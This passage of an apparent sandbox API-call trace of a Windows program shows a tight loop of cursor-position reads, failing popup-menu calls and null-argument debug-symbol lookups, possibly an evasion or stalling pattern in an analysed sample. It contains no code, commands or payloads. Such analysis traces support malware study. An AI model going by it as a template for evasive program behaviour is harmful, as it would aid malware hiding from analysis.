param_2=0x40, param_3=1336, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.557] GetLastError () returned 0x579 [0185.557] SetLastError (dwErrCode=0x579) [0185.557] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.557] SymCleanup (hProcess=0x0) returned 0 [0185.557] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.557] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.557] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.557] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.557] GetLastError () returned 0x579 [0185.557] SetLastError (dwErrCode=0x579) [0185.557] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.557] SymCleanup (hProcess=0x0) returned 0 [0185.557] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.557] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.557] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.557] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.558] GetLastError () returned 0x579 [0185.558] SetLastError (dwErrCode=0x579) [0185.558] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.558] SymCleanup (hProcess=0x0) returned 0 [0185.558] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.558] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.558] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.558] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1131, param_4=703, param_5=0x0, param_6=0x0) returned 0 [0185.558] GetLastError () returned 0x579 [0185.558] SetLastError (dwErrCode=0x579) [0185.558] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.558] SymCleanup (hProcess=0x0) returned 0 [0185.558] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.558] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.558] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.558] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.558] GetLastError () returned 0x579 [0185.558] SetLastError (dwErrCode=0x579) [0185.558] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.558] SymCleanup (hProcess=0x0) returned 0 [0185.558] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.558] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.558] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.558] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.558] GetLastError () returned 0x579 [0185.559] SetLastError (dwErrCode=0x579) [0185.559] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.559] SymCleanup (hProcess=0x0) returned 0 [0185.559] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.559] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.559] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.559] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.559] GetLastError () returned 0x579 [0185.559] SetLastError (dwErrCode=0x579) [0185.559] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.559] SymCleanup (hProcess=0x0) returned 0 [0185.559] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.559] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.559] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.559] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.559] GetLastError () returned 0x579 [0185.559] SetLastError (dwErrCode=0x579) [0185.559] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.559] SymCleanup (hProcess=0x0) returned 0 [0185.559] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.559] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.559] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.559] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=464, param_4=442, param_5=0x0, param_6=0x0) returned 0 [0185.559] GetLastError () returned 0x579 [0185.560] SetLastError (dwErrCode=0x579) [0185.560] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.560] SymCleanup (hProcess=0x0) returned 0 [0185.560] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.560] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.560] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.560] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.560] GetLastError () returned 0x579 [0185.560] SetLastError (dwErrCode=0x579) [0185.560] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.560] SymCleanup (hProcess=0x0) returned 0 [0185.560] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.560] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.560] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.560] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.560] GetLastError () returned 0x579 [0185.560] SetLastError (dwErrCode=0x579) [0185.560] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.560] SymCleanup (hProcess=0x0) returned 0 [0185.560] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.560] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.560] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.560] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.560] GetLastError () returned 0x579 [0185.560] SetLastError (dwErrCode=0x579) [0185.561] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.561] SymCleanup (hProcess=0x0) returned 0 [0185.561] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.561] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.561] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.561] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.561] GetLastError () returned 0x579 [0185.561] SetLastError (dwErrCode=0x579) [0185.561] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.561] SymCleanup (hProcess=0x0) returned 0 [0185.561] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.561] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.561] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.561] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=431, param_4=181, param_5=0x0, param_6=0x0) returned 0 [0185.561] GetLastError () returned 0x579 [0185.561] SetLastError (dwErrCode=0x579) [0185.561] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.561] SymCleanup (hProcess=0x0) returned 0 [0185.561] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.561] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.561] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.561] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.561] GetLastError () returned 0x579 [0185.561] SetLastError (dwErrCode=0x579) [0185.561] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.562] SymCleanup (hProcess=0x0) returned 0 [0185.562] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.562] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.562] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.562] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.562] GetLastError () returned 0x579 [0185.562] SetLastError (dwErrCode=0x579) [0185.562] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.562] SymCleanup (hProcess=0x0) returned 0 [0185.562] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.562] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.562] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.562] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.562] GetLastError () returned 0x579 [0185.562] SetLastError (dwErrCode=0x579) [0185.562] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.562] SymCleanup (hProcess=0x0) returned 0 [0185.562] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.562] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.562] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.562] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.562] GetLastError () returned 0x579 [0185.562] SetLastError (dwErrCode=0x579) [0185.562] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.562] SymCleanup (hProcess=0x0) returned 0 [0185.563] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.563] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.563] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.563] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=891, param_4=351, param_5=0x0, param_6=0x0) returned 0 [0185.563] GetLastError () returned 0x579 [0185.563] SetLastError (dwErrCode=0x579) [0185.563] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.563] SymCleanup (hProcess=0x0) returned 0 [0185.563] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.563] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.563] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.563] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.563] GetLastError () returned 0x579 [0185.563] SetLastError (dwErrCode=0x579) [0185.563] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.563] SymCleanup (hProcess=0x0) returned 0 [0185.563] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.563] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.563] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.563] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.563] GetLastError () returned 0x579 [0185.563] SetLastError (dwErrCode=0x579) [0185.563] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.563] SymCleanup (hProcess=0x0) returned 0 [0185.563] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.564] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.564] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.564] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.564] GetLastError () returned 0x579 [0185.564] SetLastError (dwErrCode=0x579) [0185.564] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.564] SymCleanup (hProcess=0x0) returned 0 [0185.564] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.564] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.564] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.564] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.564] GetLastError () returned 0x579 [0185.564] SetLastError (dwErrCode=0x579) [0185.564] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.564] SymCleanup (hProcess=0x0) returned 0 [0185.564] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.564] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.564] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.564] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=282, param_4=795, param_5=0x0, param_6=0x0) returned 0 [0185.564] GetLastError () returned 0x579 [0185.564] SetLastError (dwErrCode=0x579) [0185.564] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.564] SymCleanup (hProcess=0x0) returned 0 [0185.564] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.565] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.565] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.565] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.565] GetLastError () returned 0x579 [0185.565] SetLastError (dwErrCode=0x579) [0185.565] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.565] SymCleanup (hProcess=0x0) returned 0 [0185.565] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.565] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.565] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.565] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.565] GetLastError () returned 0x579 [0185.565] SetLastError (dwErrCode=0x579) [0185.565] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.565] SymCleanup (hProcess=0x0) returned 0 [0185.565] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.565] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.565] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.565] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.565] GetLastError () returned 0x579 [0185.565] SetLastError (dwErrCode=0x579) [0185.565] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.565] SymCleanup (hProcess=0x0) returned 0 [0185.565] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.565] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.566] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.566] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.566] GetLastError () returned 0x579 [0185.566] SetLastError (dwErrCode=0x579) [0185.566] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.566] SymCleanup (hProcess=0x0) returned 0 [0185.566] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.566] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.566] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.566] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1406, param_4=72, param_5=0x0, param_6=0x0) returned 0 [0185.566] GetLastError () returned 0x579 [0185.566] SetLastError (dwErrCode=0x579) [0185.566] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.566] SymCleanup (hProcess=0x0) returned 0 [0185.566] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.566] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.566] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.566] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.566] GetLastError () returned 0x579 [0185.566] SetLastError (dwErrCode=0x579) [0185.566] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.566] SymCleanup (hProcess=0x0) returned 0 [0185.566] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.566] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.566] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.567] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.567] GetLastError () returned 0x579 [0185.567] SetLastError (dwErrCode=0x579) [0185.567] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.567] SymCleanup (hProcess=0x0) returned 0 [0185.567] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.567] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.567] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.567] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.567] GetLastError () returned 0x579 [0185.567] SetLastError (dwErrCode=0x579) [0185.567] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.567] SymCleanup (hProcess=0x0) returned 0 [0185.567] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.567] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.568] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.568] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.568] GetLastError () returned 0x579 [0185.568] SetLastError (dwErrCode=0x579) [0185.568] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.568] SymCleanup (hProcess=0x0) returned 0 [0185.568] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.568] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.568] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.568] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1097, param_4=879, param_5=0x0, param_6=0x0) returned 0 [0185.568] GetLastError () returned 0x579 [0185.568] SetLastError (dwErrCode=0x579) [0185.568] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.568] SymCleanup (hProcess=0x0) returned 0 [0185.568] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.568] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.568] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.568] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.568] GetLastError () returned 0x579 [0185.568] SetLastError (dwErrCode=0x579) [0185.568] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.568] SymCleanup (hProcess=0x0) returned 0 [0185.569] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.569] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.569] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.569] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.569] GetLastError () returned 0x579 [0185.569] SetLastError (dwErrCode=0x579) [0185.569] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, 